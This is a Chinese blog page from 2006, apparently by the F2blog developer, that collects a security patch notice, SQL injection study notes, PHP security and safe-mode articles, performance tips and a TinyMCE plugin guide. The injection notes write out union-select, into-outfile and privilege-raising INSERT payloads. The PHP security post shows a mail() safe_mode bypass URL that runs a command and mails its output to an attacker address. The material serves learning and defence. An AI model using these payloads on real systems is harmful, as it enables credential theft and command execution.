F2blog v1.1 beta 12.11 升级说明 (安全补丁)
作者:骆驼 日期:2006-12-12 08:54
首先感谢使用与关注F2blog。
因为近段时间利用伪造IP的方式来攻击网站的事情发生比较多,在F2blog v1.1 beta 12.11之前的BLOG都有此漏洞,网上现在流行的那段攻击F2blog的代码(发布者的代码没有危害性,他们善意提出了漏洞的存在和攻击方式,但万一被不法分子利用了,可就麻烦大了),在此感谢发现这个重大BUG的朋友、帮助测试的朋友以及提供修正意见的朋友。
以后F2blog的发展离不开您们的支持,请您们如果发现漏洞,非常期待着您能联系我们,便于修正。以后我们也更加注重此安全问题,也愿意与搞安全的网友交个朋友,大家相互学习。
12.11 主要修正网上流行的几段伪造IP的攻击代码。
12.08 主要修正通过申请连接的方式攻击从而进入后台和通过网址注入参数方式的攻击。
危害性:严重,请大家升级到F2blog v1.1 beta 12.11
被攻击后的一般特征:
1、通过伪IP攻击后,如出现网站不能显示,而以前可以正常的,但现在却不可以了,请检查cache/cache_online.php文件,这个
CODE:$onlinecache = array(
'ip' => array('','127.0.0.1.',),
'times' => array('1165841074','1165841106',),
);中的IP地址是否正常IP地址。如果不正常就一定被攻击过了。不过如果攻击者手工改了这个文件,那就没有办法知道了。
2、如果你开通了申请连接,而申请连接地址不对,或者乱了。请大家马上检查你的用户管理是否增加了一个用户名称。(12.08已修正)
3、检查你的空间的可写目录cache(系统缓存文件),backup(数据库备份目录),attachments(你日志上传的文件所在地)是否存在有包含shell的php或者asp文件,cache目录下面的cache文件可以全部删除,运行首页的时候,系统会自动建立Cache文件。html下面是静态页面生成的文件,也可以删除在后台重建静态页面。
目前主要是攻击官网BLOG以及官网服务器上的BLOG。
如果你有什么问题,或者有什么不明白的地方,请联系harry,joesen。如果需在线帮助的,请晚上6:00以后通过QQ:15519113或者MSN:korsenzhang@hotmail.com联系harry,联系时请注明是F2的用户。
再次感谢大家的关注与支持,也感谢发现此漏洞的朋友。
F2blog开发小组
2006-12-12
F2Blog插件 -- Birth
作者:骆驼 日期:2006-12-11 13:14
F2Blog插件 -- TimeCounter
作者:骆驼 日期:2006-12-11 13:13
PHP的SQL注入及注意
作者:骆驼 日期:2006-12-09 10:06
今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
关于php安全的综合性文章
作者:骆驼 日期:2006-12-09 10:06
一、Web服务器安全
PHP 其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。 PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:
_blank>http://packetstormsecurity.org/0204-exploits/7350fun
_exp.txt" target=_blank>http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
执行如下的URL:
_blank>_blank>http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
榨干 PHP,不得不转的一篇PHP使用技巧!
作者:骆驼 日期:2006-12-08 10:37
========================================================
静态调用的成员一定要定义成 static (PHP5 ONLY)
贴士:PHP 5 引入了静态成员的概念,作用和 PHP 4 的函数内部静态变量一致,但前者是作为类的成员来使用。静态变量和 Ruby 的类变量(class variable)差不多,所有类的实例共享同一个静态变量。
// PHP CODE Highliting for CU by dZ902
<?php
class foo {
function bar() {
echo 'foobar';
}
}
$foo = new foo;
// instance way
$foo->bar();
// static way
foo::bar();
?>
静态地调用非 static 成员,效率会比静态地调用 static 成员慢 50-60%。主要是因为前者会产生 E_STRICT 警告,内部也需要做转换。
使用类常量 (PHP5 ONLY)
贴士:PHP 5 新功能,类似于 C++ 的 const。
使用类常量的好处是:
- 编译时解析,没有额外开销
- 杂凑表更小,所以内部查找更快
- 类常量仅存在于特定「命名空间」,所以杂凑名更短
- 代码更干净,使除错更方便
(暂时)不要使用 require/include_once
require/include_once 每次被调用的时候都会打开目标文件!
- 如果用绝对路径的话,PHP 5.2/6.0 不存在这个问题
- 新版的 APC 缓存系统已经解决这个问题
文件 I/O 增加 => 效率降低
如果需要,可以自行检查文件是否已被 require/include。
不要调用毫无意义的函数
有对应的常量的时候,不要使用函数。
// PHP CODE Highliting for CU by dZ902
<?php
php_uname('s') == PHP_OS;
php_version() == PHP_VERSION;
php_sapi_name() == PHP_SAPI;
?>
虽然使用不多,但是效率提升大概在 3500% 左右。
TinyMce的插件开发(F2Blog编辑器外挂开发)
作者:骆驼 日期:2006-12-07 07:26
简介:
TinyMCE 是一个基于浏览器(例如MSIE或Mozilla)的强大的所见即所得的编辑器,它使用户可以方便的编辑HTML内容。它非常灵活并且是为系统集成而设计的,比如在Intranets、CMS、LMS等系统中应用。
而在官方的TinyMCE版本上,一直没有图片上传的功能,由于项目需要,需要对在线编辑器增加上传模块。
文件结构:
css TinyMCE样式表文件
images 存放按纽等图像文件
langs TinyMCE语言包
editor_plugin.js TinyMCE插件调用时的主文件
popup.php TinyMCE上传插件的用户对口框
popup.script.php 处理popup.php的脚本文件
开发概述
对于TinyMCE插件的开发,我觉得用MVC的观点描述是十分合适的,M层是TinyMCE的核心文件,我们只是调用即可;C层如editor_plugin.js、对话框的JS逻辑,V层应该就是用户对口框的设计。
开发步骤
一 制作与tinymce通讯的连接器:editor_plugin.js
1 复制插件开发模版
在tiny_mce/plugins里面有一个_template的文件夹,它可以说是插件开发的一个通用的模版文件,将它复制到tiny_mce/plugins文件夹,并命名为你的插件名称如upload
php安全
作者:骆驼 日期:2006-12-06 06:34
PHP勿庸置疑是非常强大的服务器端脚本语言,但是强大的功能总是伴随着重大的危险,在这章里,你将学习到使用PHP的安全模式来阻止一些PHP潜在的危险因素。
【 安全模式 】
PHP的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的PHP开放的Web服务器上。当一个Web服务器上运行的PHP打开了安全模式,那么一些函数将被完全的禁止,并且会限制一些可用的功能。
[ 使用安全模式来强制限制 ]
在安全模式下,一些尝试访问文件系统的函数功能将被限制。运行Web服务器用户ID,如果想要操作某个文件,则必须拥有该文件读取或者写入的访问权限,实现这个限制功能对于PHP来说是没有问题的。
在安全模式开启的时候,尝试读取或者写入一个本地文件的时候,PHP将检查当前访问用户是否是该目标文件的所有者。如果不是所有者,则该操作会被禁止。(写入权限:在较低级别的文件访问权限下,可能会允许读取或者写入系统操作系统的文件,通过PHP的安全模式实现了防止你操作另外一个用户文件的操作。当然,一个Web服务器可能能够访问一个具有全局写入权限的任意文件。)
当安全模式打开的时候,以下函数列表的功能将会受到限制:
chdir , move_uploaded_file, chgrp, parse_ini_file, chown, rmdir, copy, rename, fopen, require, highlight_file, show_source, include, symlink, link, touch, mkdir, unlink
同样的,一些PHP扩展中的函数也将会受到影响。(加载模块:在安全模式下dl函数将被禁止,如果要加载扩展的话,只能修改php.ini中的扩展选项,在PHP启动的时候加载)







